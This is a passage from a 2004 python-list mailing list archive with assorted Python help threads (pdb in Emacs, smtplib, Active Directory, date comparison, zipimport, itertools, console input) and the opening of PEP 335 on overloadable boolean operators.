	<278de0e.0409201131.57baf7f9@posting.google.com>
	<414f61bf$0$29449$636a15ce@news.free.fr>
	<rwJ3d.1000$g42.675@newsread3.news.pas.earthlink.net>
	<87hdprv3qd.fsf_-_@ion.xlipstream.com>
	<ciusmv$2a3$1@rzcomm2.rz.tu-bs.de>
Message-ID: <AQT4d.27891$pA.1872757@news20.bellglobal.com>

Marcio Rosa da Silva <mrsilva at fastmail.fm> writes:

> Chris Green wrote:
> > The trick that I like most about emacs+python right now is inserting
> > import pdb; pdb.set_trace() and then running the python script from a
> > *shell* buffer. It just happens to load the exact same code that would
> > occur from running pdb.py directly so code lines can be synced up.
> 
> I am trying for a long time a way to run pdb from emacs and have the
> code synchronized.
> 
> I searched google for emacs+python+debug or emacs+pdb but the
> instructions would say: "M-x pdb" but then emacs asked the command
> line to run the debug and I tried "pdb" "pydb" "pydb filename" but
> nothing worked.
> 
> When I tryed "M-x pdb" then "pydb" I need to use "file <filename>"
> (and the completion doesn't work here for the filename), then the
> debugger worked, but no sync with the source code :-(
> 
>  From the help of GUD, I tried "M-x pdb <RET> FILE <RET>" also without
> success.

You can either start pdb as "python <path-to-python-libs/pdb.py" or to
make your life easier install an executable that does that. I'm using
the following script in /usr/local/bin/pdb for this purpose:

--8<--
#! /bin/sh
lib=`python -c "import sys; print '%s/lib/python%s' % (sys.prefix, sys.version[:3])"`
 
python -u $lib/pdb.py "$@"
--8<--

with this script you start pdb as "M-x pdb <RET> pdb yourscript.py
script arguments...<RET>"

> Anyone can help me with this? I really don't know how to make it
> work. I have seen in the python-emacs-mode that there are some code to
> synchronize the code, but I could not make it work in this way (I
> don't know enough elisp) :-(
> 
> But anyway, thanks Chris for the tip. This one worked for me :-) It is
> possible to set breakpoints using the source buffer instead of using
> the line number?

C-x <SPC> in the source buffer.

hth,
/steffen
-- 
steffen.ries at sympatico.ca	<> Gravity is a myth -- the Earth sucks!


From martin at v.loewis.de  Fri Sep 17 17:03:36 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 17 Sep 2004 23:03:36 +0200
Subject: smtplib (111, 'Connection refused')
In-Reply-To: <mailman.3471.1095454695.5135.python-list@python.org>
References: <mailman.3467.1095448992.5135.python-list@python.org>	<ZtqdnZb0ScD229bcRVn-iA@powergate.ca>
	<mailman.3471.1095454695.5135.python-list@python.org>
Message-ID: <414b5124$0$18927$9b622d9e@news.freenet.de>

Josh Close wrote:
> import smtplib
> 
> mail = smtplib.SMTP('localhost')
> mail.send('me','user at domain.tld','message goes here')
> mail.quit()
> 
> but this fails at the smtplib.SMTP() line on one box, but not on another.

OK, so you have an SMTP server on one box but not another. Either
install an SMTP server on another box, or connect to "one box" on
both boxes, instead of connecting to "localhost" on either.

Regards,
Martin


From tim.golden at viacom-outdoor.co.uk  Thu Sep 30 04:27:53 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Thu, 30 Sep 2004 09:27:53 +0100
Subject: Search Filter Syntax in Active Directory
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E4434AD2@iron.ima.umn.edu>

[Dirk Hagemann]
| I want to get the properties of all the computer-accounts of an 
| ActiveDirectory structure (Microsoft). I know that could be done by 
| using "Search Filter Syntax" with LDAP-Dialect or SQL-Dialect.
| I found a lot of information about these dialects, but no 
| example how to use this in an python-script.
| Does anybody have a simple example for me, how to get some 
| information out of AD?

I twitch nervously every time I have to pull something
out of AD, but hopefully a couple of working examples
might get you going. In general, anything you see elsewhere
in VBS etc. can be done with a couple of GetObject-type
calls in win32com.client.

First example: find the display name of a user, given a user name.
This one uses the LDAP:// moniker syntax.

<code>

import win32com.client

username = "goldent"
ldap_string = "LDAP://cn=%s,cn=users,dc=gb,dc=vo,dc=local" % username
ldap_me = win32com.client.GetObject (ldap_string)
print username, "=>", ldap_me.Get ("displayName")

</code>

Second example: find all the domains known by this workstation/server.
This example uses the WinNT:// object, which I personally find
a lot easier / more intuitive to use, so long as it meets your
need (it doesn't do everything, and I'm not sure you can update
through it).

<code>

import win32com.client

for domain in win32com.client.GetObject ("WinNT:"):
  print domain.Name

</code>

Third example: list all the computers in a particular domain.
Again WinNT:// syntax.

<code>

import win32com.client
domain_name = "VOUK"
domain = win32com.client.GetObject ("WinNT://" + domain_name)
domain.Filter = ["Computer"]
for computer in domain:
  print computer.Name

</code>

HTH
TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________


From steven.bethard at gmail.com  Tue Sep  7 02:32:35 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 7 Sep 2004 06:32:35 +0000 (UTC)
Subject: docs on for-loop with no __iter__?
References: <mailman.2873.1094321890.5135.python-list@python.org>
	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>
	<mailman.2879.1094332737.5135.python-list@python.org>
	<Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>
	<mailman.2883.1094340967.5135.python-list@python.org>
	<9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net>
	<mailman.2913.1094451430.5135.python-list@python.org>
	<1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com>
	<mailman.2944.1094506599.5135.python-list@python.org>
	<1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com>
Message-ID: <loom.20040907T075903-226@post.gmane.org>

Alex Martelli <aleaxit <at> yahoo.com> writes:
> MRO didn't change for classic classes, thus unmaintaned apps can't be
> affected by that.

I may be mistaken, but I thought MRO did change for new classes...  I read in 
http://www.python.org/2.3/mro.html:

"In his post, Samuele showed that the Python 2.2 method resolution order is 
not monotonic and he proposed to replace it with the C3 method resolution 
order. Guido agreed with his arguments and therefore now Python 2.3 uses C3."

And the docs seemed to indicate that new-style classes were available in 
Python 2.2.  Did the new-style classes and the C3 MRO actually both come in 
2.2? 

Anyway, if you read the docs the way I did above, you could imagine that any 
new-style class that was written in Python 2.2 could potentially have been 
broken by the new MRO in Python 2.3.  So the change in MRO would have been a 
change that could break old code.

> > If you read my posts from the beginning, I was clearly never asking for the
> > workaround -- I was asking for why the protocol was the way it was and why 
> > it hadn't been updated after __iter__ was introduced.  Despite a few snide
> > remarks ;) you did answer my question though, thanks!
> 
> You're welcome, and I do think that the second part of the question was
> pretty weird -- with all the trouble we go to, to keep backwards
> compatibility with most old unmaintained apps, just imagining we'd go
> around breaking them to no good purpose seems weird to me.

Clearly we're talking past each other.  When I asked the question, I didn't 
know what code would be broken.  That's why I asked the question.  (Go back 
and read some of the thread where I ask questions like "Would it break old 
code if the __getitem__ iterator checked for a __len__ method...?" if you 
don't believe me.)

If no code would have been broken, I don't see why it would be unreasonable to 
use a more intuitive protocol.  I understand the history here is probably old 
hat to you, but it's not to me, and that's why I was asking.  Suggesting that 
I want to "go around breaking [apps] to no good purpose" is just being 
inflammatory.

> I can't really see why these historical quibbles would be of much interest, 
> anyway.

Well, it's an interesting design decision that resulted from an interesting 
set of facilities that were in the language at the time.  Of course, if you 
were already using Python at the time these decisions were made, you already 
knew all about it.  I'm a relative newcomer to Python though, and its history 
and evolution is still interesting to me.

If there's a better forum to ask questions about Python's history, I'd be glad 
if you'd redirect me to it.

Steve



From iddw at hotmail.com  Thu Sep  2 09:23:03 2004
From: iddw at hotmail.com (Dave Hansen)
Date: Thu, 02 Sep 2004 13:23:03 GMT
Subject: Xah Lee's Unixism
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
Message-ID: <41371ea0.582576421@News.individual.net>

On Thu, 02 Sep 2004 00:43:03 +0100 (BST), bhk at dsl.co.uk (Brian
{Hamilton Kelly}) wrote:

>On Wednesday, in article
>     <10jc7cu7e57koaa at corp.supernews.com>
>     wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan"
>     wrote:
>
>> There's a story about why railroad tracks are spaced the way they are.
>
>Is this the one about two Roman horses' arses?  If so, it also accounts
>for the physical dimensions of the Space Shuttle's boosters.

http://www.snopes.com/history/american/gauge.htm

Regards,

                               -=Dave
-- 
Change is inevitable, progress is not.


From pink at odahoda.de  Fri Sep 17 14:38:42 2004
From: pink at odahoda.de (Benjamin Niemann)
Date: Fri, 17 Sep 2004 20:38:42 +0200
Subject: Conversion of String to Date Type
In-Reply-To: <mailman.3462.1095445170.5135.python-list@python.org>
References: <mailman.3462.1095445170.5135.python-list@python.org>
Message-ID: <cifb0u$c5j$05$1@news.t-online.com>

Keith Bolton wrote:
> Hello All,
> 
> I've joined the wxPython list, but this is my first post on the python
> list and it's good to be here :^)  Anyway...
> 
> My question is relating to Date equality.  I am checking if two string
> representations of dates are less than or equal to eachother. The issue
> that I am having is that the date strings, ex.
> 09/15/04 is evaluated as > 09/14/04.  However, when the last two digits
> for the year are changed, like this 09/15/04  is considered > 09/15/05. 
> I thought this had something to do with evaluating two strings.  Could
> this be the case, if so does someone know of a way to convert those
> strings into a Date type object?
String comparision doesn't know anything about the special semantics of 
dates, and e.g. "09/15/04" is lexically before "10/15/03".
Possible solutions:
- use something like YYYYMMDD, YY/MM/DD... as string representation, 
these will be sorted correctly (which is a good habit anyway, e.g. if 
you have a bunch of files with a date in the filename)
- try "ts = time.mktime(int(s[6:8])+2000, int(s[3:5]), int(s[0:2]))" to 
create timestamps and compare these. The datetime modules may have more 
useful functions (haven't used it yet, time was sufficient for me).
- where do these strings come from? Perhaps there is an underlying 
timestamp or datetime object that you could use instead of "string 
representations".


From jeremy+plusnews at jeremysanders.net  Wed Sep  1 05:49:05 2004
From: jeremy+plusnews at jeremysanders.net (Jeremy Sanders)
Date: Wed, 01 Sep 2004 10:49:05 +0100
Subject: Script executes script?
References: <c869ac1b.0409010014.4c581fc@posting.google.com>
	<ch43t4$r5q$1@news-reader4.wanadoo.fr>
Message-ID: <pan.2004.09.01.09.49.05.690610@jeremysanders.net>

On Wed, 01 Sep 2004 11:13:57 +0200, Michel Claveau - abstraction
m?ta-galactique non triviale en fuite perp?tuelle. wrote:

> Try   execfile(

Alternatively, on Unix at least,

import os
os.system('other.py')

Assuming other.py is an executable. This will give you a completely new
interpreter.

Jeremy



From jmfbahciv at aol.com  Fri Sep 10 08:22:39 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Fri, 10 Sep 04 12:22:39 GMT
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com>
	<4140688e$0$6912$61fed72c@news.rcn.com>
	<flrphc.tlk1.ln@via.reistad.priv.no>
Message-ID: <4141afae$0$6910$61fed72c@news.rcn.com>

In article <flrphc.tlk1.ln at via.reistad.priv.no>,
   Morten Reistad <firstname at lastname.pr1v.n0> wrote:
>In article <4140688e$0$6912$61fed72c at news.rcn.com>,  <jmfbahciv at aol.com> 
wrote:
>>In article <413F43AC.9D2088AF at yahoo.com>,
>>   CBFalconer <cbfalconer at yahoo.com> wrote:
>>>jmfbahciv at aol.com wrote:
>>>> Alan Balmer <albalmer at att.net> wrote:
>>>>> CBFalconer <cbfalconer at yahoo.com> wrote:
>>>>>> Alan Balmer wrote:
>>>>>>>
>>>>>>... snip ...
>
>[snipp Rush Limbaugh's's talks show mentioned]
>
>>>I deplore your tast in radio talk shows.
>>
>>Oh!  Taste in talk shows.
>
>Ah, then I have deplorable tastes in your opinion. I find Rush
>greatly entertaining; but wouldn't use him as a data point.

Oh, not just him but the ...I can't think of a good word to
use...I use it as a pulse measurement to find out what that
particular ilk of people are thinking.
>
>I wish the left could dig up someone as entertaining as Rush.

Carvell.
>
>>> ..  It doesn't take much to
>>>create a rabble rousing poll to increase ratings.
>>
>>I listen to them for data about how the rabble is thinking
>>and the logic they use to form their opinions.  I also
>>watch those religious cable TV shows to gather the same kinds
>>of information; note that I can only manage to listen to these
>>about 10 minutes and not more than once/year.  I also listen
>>to Rushie to see what kinds of lies that half of the world is
>>listening to.  I watch CSPAN who never cut out for commericals,
>>don't edit too much, and tend to leave the mike on after the
>>meetings break up.  '
>
>With most of these you miss the point if you listen for content
>at all. 

I generally use the content as a clue to figure out what the
group is trying to not talk about a.k.a. smoke and mirrors.  
There are other things one can deduce based on what is getting
talked about and how it's getting described.

> ..The media IS the message. And you are the product, to
>be entertained enough so you can be sold to advertisers.

Sure.  The exception is those who don't have normal behaviour
patterns. 
<snip>

/BAH

Subtract a hundred and four for e-mail.


From ialbert at mailblocks.com  Wed Sep 15 10:53:29 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Wed, 15 Sep 2004 10:53:29 -0400
Subject: IDLE vs. the command line?
In-Reply-To: <slrnckfu0f.6b6.ohyvarin@sirppi.helsinki.fi>
References: <slrnckfu0f.6b6.ohyvarin@sirppi.helsinki.fi>
Message-ID: <9aedna2_jub6ytXcRVn-qQ@giganews.com>

Otto T Hyvarinen wrote:

> uses C extensions a lot. One of those C methods does the segmentation
> fault when run from the command line, but _not_ when run from the IDLE.
> This is quite strange.

The various ways in which memory corruption manifests itself in
C programs sometime appear to be governed by mysterious
powers, a higher authority or simply IDLE.

Istvan.


From da_rosser at yahoo.com  Fri Sep 10 16:35:46 2004
From: da_rosser at yahoo.com (Doug Rosser)
Date: 10 Sep 2004 13:35:46 -0700
Subject: What's the Pythonic way to do this?
Message-ID: <e08cd05f.0409101235.50b1f8f3@posting.google.com>

class Cycle(object):

    def __init__(self, inputList):
        object.__init__(self)
        self.index = 0
        self.limit = len(inputList)
        self.list = inputList

    def next(self):
        """
        returns the next element of self.list, jumping
        back to the head of the list if needed.
        Yes, this is an infinite loop. (Use with caution)
        Arguments:
            none
        Returns:
            the next element of self.list
        """
        if self.index+1 < self.limit:
            self.index+=1
            return self.list[self.index-1]
        else:
            self.index=0
            return self.list[self.limit-1]


From db3l at fitlinxx.com  Thu Sep  2 10:03:56 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 02 Sep 2004 10:03:56 -0400
Subject: import pyd from zip file
References: <35b736b9.0409020513.598fc4e0@posting.google.com>
Message-ID: <uu0ugepir.fsf@fitlinxx.com>

johnfkeeling at yahoo.com (John Keeling) writes:

> Am I doing something wrong? Is zipimport not designed for pyds? ... or
> is it an ommission in the functionality of zipimport? I looked at the
> bugs database, and didn't see a mention of this.

No, I don't expect zipimport is designed to handle pyds.

pyds are really system binary shared libraries, and as such, while
Python may augment the search path to locate them, they are actually
loaded by the operating system, so they must be available (e.g. in the
filesystem) for access by the operating system directly.

The only way for it to work would be if zipimport, upon finding a pyd
in a zip file, were to extract it to a temporary directory and then
load it from that directory through the OS.  That would sort of defeat
the purpose of having it in a zip in the first place as opposed to
just including the file along with the zip.

-- David


From prinster at mail.com  Wed Sep 29 20:01:31 2004
From: prinster at mail.com (Stephen Prinster)
Date: Thu, 30 Sep 2004 00:01:31 GMT
Subject: odbc error
In-Reply-To: <cje8bg$t9m$1@lacerta.tiscalinet.it>
References: <cje8bg$t9m$1@lacerta.tiscalinet.it>
Message-ID: <v1I6d.21604$QJ3.865@newssvr21.news.prodigy.com>

Michele Petrazzo wrote:
> I'm using odbc on win95 and I have an incomprehensible error after a query:
> 
> INSERT INTO test VALUES (f1,f2,f3) VALUES ("t1", "t2", "")
> 
> table test and fields f1,f2,f3 exists :) and I can write to this table.
> 
> The error is :
> [Microsoft][Driver ODBC dBase] Too few parameters. Expected 2.
> 
> What can I do?
> 
> Thanks,
> Michele Petrazzo
In addition to using single quotes and assuming f1, f2, f3 are field 
names, try eliminating the first "VALUES", like this:

INSERT INTO test (f1,f2,f3) VALUES ('t1', 't2', '')


From pfortin at pfortin.com  Tue Sep 14 21:01:29 2004
From: pfortin at pfortin.com (Pierre Fortin)
Date: Tue, 14 Sep 2004 21:01:29 -0400
Subject: comparing datetime with date
References: <mailman.3292.1095162740.5135.python-list@python.org>
	<41477d9a$0$24391$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
	<20040914203729.627f40ad@gypsy.pfortin.com>
Message-ID: <20040914210129.251478d7@gypsy.pfortin.com>

On Tue, 14 Sep 2004 20:37:29 -0400 Pierre wrote:

> > All i can assume is that when a Date / DateTime comparision is made
> > the'lowest denominator' i.e Date is used but I may be very wrong
> 
> I agree...

Oops... LOL  ...with the first part.   


From dan.gass at gmail.com  Fri Sep  3 12:41:41 2004
From: dan.gass at gmail.com (Dan Gass)
Date: 3 Sep 2004 09:41:41 -0700
Subject: Test the existence of a variable?
References: <ch9hhf$4re$1@s5.feed.news.oleane.net>
Message-ID: <bc15ba28.0409030841.de4e9e4@posting.google.com>

"Thierry S." <thierry.s at free.fr> wrote in message news:<ch9hhf$4re$1 at s5.feed.news.oleane.net>...
> Hello.
> 
> I would to test the existence of a variable before to use it (like
> isset($myVar) in PHP).
> I try using "if myVar: ", but there is the error meesage (naturally):
> "NameError: name 'myVar' is not defined"
> 
> Please, could you tell me what for function exist to test the variable with
> Python?
> 
> Regards,

You may want to look at using a try/except block, for example:

try:
    print myVar
except NameError:
    print "myVar does not exist"

</dan>


From mwh at python.net  Mon Sep  6 06:44:36 2004
From: mwh at python.net (Michael Hudson)
Date: Mon, 6 Sep 2004 10:44:36 GMT
Subject: age of Python programmers
References: <mailman.1859.1092833285.5135.python-list@python.org>
	<889cbba0.0408181206.1812881c@posting.google.com>
	<mailman.1900.1092860258.5135.python-list@python.org>
	<Xns954A5141FF84JanC@213.118.38.197>
	<d8778a53.0408311322.9ad0233@posting.google.com>
	<6amZc.17353$ni.8118@okepread01>
	<mailman.2862.1094292746.5135.python-list@python.org>
	<4edc17eb.0409042048.3a9ed856@posting.google.com>
Message-ID: <m37jr7ekx7.fsf@pc150.maths.bris.ac.uk>

I'm nearly 26 now, learnt Python when 19, etc, etc.

The only new data point is that I'm reasonably sure that my first
commit to the Python project, which I think was this one:

http://mail.python.org/pipermail/python-checkins/2001-August/019971.html

is the youngest anyone's been when doing that (I was 22 and ~10
months, which isn't especially young for an OS project...).

Cheers,
mwh

-- 
  It could be argued that since Suitespot is infinitely terrible,
  that anything else, by very definition of being anything else,
  is infinitely superior.                -- ".", alt.sysadmin.recovery


From aleaxit at yahoo.com  Fri Sep 24 02:28:20 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 24 Sep 2004 08:28:20 +0200
Subject: for_some(), for_all()?
References: <opseqmpvg86yt6e7@news.cisco.com>
	<cisc33$hpi$1@pegasus.csx.cam.ac.uk> <2Pt4d.5569$sa.1897@trndny05>
	<ciua3q$lru$1@pegasus.csx.cam.ac.uk>
	<yYD4d.17527$%42.4947@trndny08>
Message-ID: <1gklz0j.1uinpao1qf4wj3N%aleaxit@yahoo.com>

Raymond Hettinger <vze4rx4y at verizon.net> wrote:

> [Michele Simionato]
> > I always wondered why "any" and "all" are given as recipes but are not
> > part of the itertools module. What is the rationale?
> > I think they are so common that they deserve to be in the module.
> > At least, we would have standard names.
> 
> Random thoughts on itertools recipes and module design:

  [snipped lots of valuable considerations]

and one more, specific thing...: 'any' and 'all', like (say) other
potentially useful functions such as count, average, etc, are
_accumulators_ -- they _consume_ an iterator, producing a 'scalar'
result.

itertools is about filters and producers -- calling itertools.whatever
_returns_ an iterator.

I'd like a small module of accumulators.  But putting accumulators into
itertools is the wrong placing.  A general rule that helps users
remember what-goes-where, such as 'itertools stuff returns iterators',
is too precious to throw away lightly, IMHO.


Alex


From hans at zephyrfalcon.org  Tue Sep 14 19:50:53 2004
From: hans at zephyrfalcon.org (Hans Nowak)
Date: Tue, 14 Sep 2004 19:50:53 -0400
Subject: up with PyGUI!
In-Reply-To: <mailman.3318.1095180577.5135.python-list@python.org>
References: <mailman.3318.1095180577.5135.python-list@python.org>
Message-ID: <414783DD.4070509@zephyrfalcon.org>

Zooko O'Whielacronx wrote:

> I'm a fan of Greg Ewing's PyGUI [1].  I used it to code a simple game 
> for my son [2], and enjoyed it.  Programming with wxPython feels like 
> programming with a C++ tool that has been wrapped in Python.  

This problem is addressed by Wax:

http://zephyrfalcon.org/labs/dope_on_wax.html
http://zephyrfalcon.org/labs/wax_primer.html
http://zephyrfalcon.org/moin.cgi/Wax
http://zephyrfalcon.org/labs/wax_file_explorer.html

(Sorry, no real homepage is available yet for Wax.)

--
Hans Nowak (hans at zephyrfalcon.org)
http://zephyrfalcon.org/



From clifford.wells at comcast.net  Sun Sep 19 22:53:23 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Sun, 19 Sep 2004 19:53:23 -0700
Subject: python vs c#
In-Reply-To: <cilas7$3lm$1@sea.gmane.org>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>  <cilas7$3lm$1@sea.gmane.org>
Message-ID: <1095648803.31957.373.camel@devilbox.devilnet.internal>

On Sun, 2004-09-19 at 21:13 -0400, julio wrote:

> But why so much resistence to the change ? is the denyal of reality fine?
> why dont you care? i wouldnt care if i used python for small system
> scripts.

Julio, you have convinced me.  I *am* going to change.  I am going to
double my productivity by not reading or responding to silly postings
like this anymore.  I doubt any IDE in the world is going to bring back
the time everyone here (yourself included) has wasted listening to you
berate people for not programming the way you do.

Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From narshe at gmail.com  Thu Sep 23 11:00:58 2004
From: narshe at gmail.com (Josh Close)
Date: Thu, 23 Sep 2004 10:00:58 -0500
Subject: Python in a Nutshell for Python 2.4
In-Reply-To: <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com>
References: <df045d93.0409221344.52d18be9@posting.google.com>
	<2Pt4d.5568$sa.2954@trndny05>
	<1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com>
Message-ID: <4a0cafe2040923080042392631@mail.gmail.com>

On Thu, 23 Sep 2004 13:58:03 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> I have not yet negotiated with O'Reilly about a 2nd edition of the
> Nutshell, but I do suspect they'll be quite happy letting me write one,
> _after_, as RH says, the 2nd edition of the Cookbook (we're still
> targeting March 2004 for that one).  Considering the times involved etc
> etc, I believe it is out of the question for the 2nd edition of the
> Nutshell to be in print in time for OSCON 2005 (==July 2005), alas.  So,
> don't hold your breath: I believe it will be _at least_ a year from now
> before you can buy the 2nd edition of the Nutshell in bookstores:-(.
> 
> 
> Alex

Is there any particular reason you left out certain things in the
Nutshell book? Like os.fork and syslog, and a few others I can't think
of off the top of my head? Maybe because they work the same as the C
version or something, or there is man pages about it?

Just curious why, and if they'll be in the next version or not. 

-Josh


From sparklist-confirm-13529505X at list.ski-europe.com  Fri Sep  3 09:13:28 2004
From: sparklist-confirm-13529505X at list.ski-europe.com (SkiEurope Report Confirmation (from SparkLIST.com))
Date: Fri, 03 Sep 2004 06:13:28 -0700
Subject: Your confirmation is needed
Message-ID: <SPARKLIST-13529505-1161334-2004.09.03-06.13.28--python-list#python.org@list.ski-europe.com>

Please reply to this email message to confirm your subscription to
skieuropereport.

Your email address has been entered for a subscription to the
skieuropereport mailing list. However, your new subscription requires
a confirmation that you received this email message and want
to join this mailing list.

If you do not want to join, do nothing.  You will be automatically 
removed.

To confirm that you do want to join, simply reply to this message.
Make sure that your message is addressed to
sparklist-confirm-13529505X at list.ski-europe.com

To unsubscribe immediately, you send an email message to
leave-skieuropereport-13529505X at list.ski-europe.com



From zathras at thwackety.com  Fri Sep 10 15:59:06 2004
From: zathras at thwackety.com (Michael Sparks)
Date: Fri, 10 Sep 2004 20:59:06 +0100 (BST)
Subject: Microthreads without Stackless?
In-Reply-To: <29786.209.46.8.140.1094842121.squirrel@mail.hobbshouse.org>
Message-ID: <Pine.LNX.4.44.0409102055400.4881-100000@pingu.thwackety.com>

On Fri, 10 Sep 2004, Michael Hobbs wrote:

> Does anyone know of an existing package that provides microthreads, other
> than Stackless Python?

Greenlets will *probably* match what you're after. They're included with
Stackless, but work just fine with regular python.

Regards,


Michael.



From jlearman at cisco.com  Sat Sep  4 16:07:37 2004
From: jlearman at cisco.com (Jeff Learman)
Date: Sat, 04 Sep 2004 16:07:37 -0400
Subject: blocking read on stdin on Windows?
In-Reply-To: <parjj0lhoqijnqf5dh2ic95b5lqm7s627r@4ax.com>
References: <1094311253.319782@sj-nntpcache-5>
	<parjj0lhoqijnqf5dh2ic95b5lqm7s627r@4ax.com>
Message-ID: <1094328694.600413@sj-nntpcache-3>


(sheepish grin: didn't see the MS-specific chapter!)

Thanks :)

Dennis Lee Bieber wrote:

> On Sat, 04 Sep 2004 11:23:12 -0400, Jeff Learman <jlearman at cisco.com>
> declaimed the following in comp.lang.python:
> 
> 
>>I want to do a very simple thing in Windows.  (Using Python Shell.)
>>
>>I want to write a prompt to sys.stdout and read the user input.
>>(Ideally, without waiting for a newline.)
>>
> 
> 	Library reference
> 	Section 22 (M$ specific)
> 	Subsection .1.2 (Console I/O)
> 
> lib> kbhit( ) 
> lib> Return true if a keypress is waiting to be read. 
> lib> 
> lib> getch( ) 
> lib> Read a keypress and return the resulting character. Nothing is
> echoed to the console. This call will block if a keypress is not already
> available, but will not wait for Enter to be pressed. If the pressed key
> was a special function key, this will return '\000' or '\xe0'; the next
> call will return the keycode. The Control-C keypress cannot be read with
> this function. 
> lib> 
> lib> getche( ) 
> lib> Similar to getch(), but the keypress will be echoed if it
> represents a printable character. 
> lib> 
> lib> putch( char) 
> lib> Print the character char to the console without buffering. 
> lib> 
> lib> ungetch( char) 
> lib> Cause the character char to be ``pushed back'' into the console
> buffer; it will be the next character read by getch() or getche(). 
> 
> 	stdin tends to be buffered by the OS -- the OS doesn't release
> anything until the new-line. You have to use OS specific operations to
> get to the data in the buffer.
> 



From greg at cosc.canterbury.ac.nz  Thu Sep  9 20:55:03 2004
From: greg at cosc.canterbury.ac.nz (Greg Ewing)
Date: Fri, 10 Sep 2004 12:55:03 +1200
Subject: PEP 335: Overloadable Boolean Operators - Official Posting
Message-ID: <2qccb9Fuac61U1@uni-berlin.de>

PEP: 335
Title: Overloadable Boolean Operators
Version: $Revision: 1.2 $
Last-Modified: $Date: 2004/09/09 14:17:17 $
Author: Gregory Ewing <greg at cosc.canterbury.ac.nz>
Status: Draft
Type: Standards Track
Content-Type: text/x-rst
Created: 29-Aug-2004
Python-Version: 2.4
Post-History: 05-Sep-2004


Abstract
========

This PEP proposes an extension to permit objects to define their own
meanings for the boolean operators 'and', 'or' and 'not', and suggests
an efficient strategy for implementation.  A prototype of this
implementation is available for download.


Background
==========

Python does not currently provide any '__xxx__' special methods
corresponding to the 'and', 'or' and 'not' boolean operators.  In the
case of 'and' and 'or', the most likely reason is that these operators
have short-circuiting semantics, i.e. the second operand is not
evaluated if the result can be determined from the first operand.  The
usual technique of providing special methods for these operators
therefore would not work.

There is no such difficulty in the case of 'not', however, and it
would be straightforward to provide a special method for this
operator.  The rest of this proposal will therefore concentrate mainly
on providing a way to overload 'and' and 'or'.


Motivation
==========

There are many applications in which it is natural to provide custom
meanings for Python operators, and in some of these, having boolean
operators excluded from those able to be customised can be
inconvenient.  Examples include:

1. Numeric/Numarray, in which almost all the operators are defined on
    arrays so as to perform the appropriate operation between
    corresponding elements, and return an array of the results.  For
    consistency, one would expect a boolean operation between two
    arrays to return an array of booleans, but this is not currently
    possible.

    There is a precedent for an extension of this kind: comparison
    operators were originally restricted to returning boolean results,
    and rich comparisons were added so that comparisons of Numeric
    arrays could return arrays of booleans.

2. A symbolic algebra system, in which a Python expression is
    evaluated in an environment which results in it constructing a tree
    of objects corresponding to the structure of the expression.

3. A relational database interface, in which a Python expression is
    used to construct an SQL query.

A workaround often suggested is to use the bitwise operators '&', '|'
and '~' in place of 'and', 'or' and 'not', but this has some
drawbacks.  The precedence of these is different in relation to the
other operators, and they may already be in use for other purposes (as
in example 1).  There is also the aesthetic consideration of forcing
users to use something other than the most obvious syntax for what
they are trying to express.  This would be particularly acute in the
case of example 3, considering that boolean operations are a staple of
SQL queries.


Rationale
=========

The requirements for a successful solution to the problem of allowing
boolean operators to be customised are:

1. In the default case (where there is no customisation), the existing
    short-circuiting semantics must be preserved.

2. There must not be any appreciable loss of speed in the default
    case.

3. If possible, the customisation mechanism should allow the object to
    provide either short-circuiting or non-short-circuiting semantics,
    at its discretion.

One obvious strategy, that has been previously suggested, is to pass
into the special method the first argument and a function for
evaluating the second argument.  This would satisfy requirements 1 and
3, but not requirement 2, since it would incur the overhead of
constructing a function object and possibly a Python function call on
every boolean operation.  Therefore, it will not be considered further
here.

The following section proposes a strategy that addresses all three
requirements.  A `prototype implementation`_ of this strategy is
available for download.

.. _prototype implementation:
    http://www.cosc.canterbury.ac.nz/~greg/python/obo//Python_OBO.tar.gz


Specification
=============

Special Methods
---------------

At the Python level, objects may define the following special methods.

===============  =================  ========================
Unary            Binary, phase 1    Binary, phase 2
===============  =================  ========================
* __not__(self)  * __and1__(self)   * __and2__(self, other)
                  * __or1__(self)    * __or2__(self, other)
                                     * __rand2__(self, other)
                                     * __ror2__(self, other)
===============  =================  ========================

The __not__ method, if defined, implements the 'not' operator.  If it
is not defined, or it returns NotImplemented, existing semantics are
used.

To permit short-circuiting, processing of the 'and' and 'or' operators
is split into two phases.  Phase 1 occurs after evaluation of the first
operand but before the second.  If the first operand defines the
appropriate phase 1 method, it is called with the first operand as
argument.  If that method can determine the result without needing the
second operand, it returns the result, and further processing is
skipped.

If the phase 1 method determines that the second operand is needed, it
returns the special value NeedOtherOperand.  This triggers the
evaluation of the second operand, and the calling of an appropriate
phase 2 method. During phase 2, the __and2__/__rand2__ and
__or2__/__ror2__ method pairs work as for other binary operators.

Processing falls back to existing semantics if at any stage a relevant
